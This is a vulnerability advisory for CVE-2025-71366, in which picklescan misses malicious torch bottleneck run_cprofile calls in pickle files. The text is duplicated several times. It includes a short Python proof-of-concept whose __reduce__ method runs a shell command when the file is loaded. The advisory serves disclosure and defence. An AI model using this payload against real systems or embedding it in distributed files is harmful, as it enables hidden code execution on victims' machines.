CVE-2025-71366

picklescan before 0.0.28 fails to detect malicious torch.utils.bottleneck.main.run_cprofile function calls in pickle files, allowing attackers to bypass safety checks. Remote attackers can embed undetected code in pickle files to achieve arbitrary code execution when victims load the files.

picklescan before 0.0.28 fails to detect malicious torch.utils.bottleneck.main.run_cprofile function calls in pickle files, allowing attackers to bypass safety checks. Remote attackers can embed undetected code in pickle files to achieve arbitrary code execution when victims load the files.

picklescan before 0.0.28 fails to detect malicious torch.utils.bottleneck.main.run_cprofile function calls in pickle files, allowing attackers to bypass safety checks. Remote attackers can embed undetected code in pickle files to achieve arbitrary code execution when victims load the files.

Summary

Using torch.utils.bottleneck.main.run_cprofile function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils.bottleneck.main.run_cprofile function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import torch.utils.bottleneck.__main__ as bottleneck_main

class EvilTorchUtilsBottleneckRunCprofile:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        globs = {}
        return bottleneck_main.run_cprofile, (code, globs)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

picklescan before 0.0.28 fails to detect malicious torch.utils.bottleneck.main.run_cprofile function calls in pickle files, allowing attackers to bypass safety checks. Remote attackers can embed undetected code in pickle files to achieve arbitrary code execution when victims load the files.

picklescan before 0.0.28 fails to detect malicious torch.utils.bottleneck.main.run_cprofile function calls in pickle files, allowing attackers to bypass safety checks. Remote attackers can embed undetected code in pickle files to achieve arbitrary code execution when victims load the files.

Summary

Using torch.utils.bottleneck.main.run_cprofile function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils.bottleneck.main.run_cprofile function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import torch.utils.bottleneck.__main__ as bottleneck_main

class EvilTorchUtilsBottleneckRunCprofile:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        globs = {}
        return bottleneck_main.run_cprofile, (code, globs)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu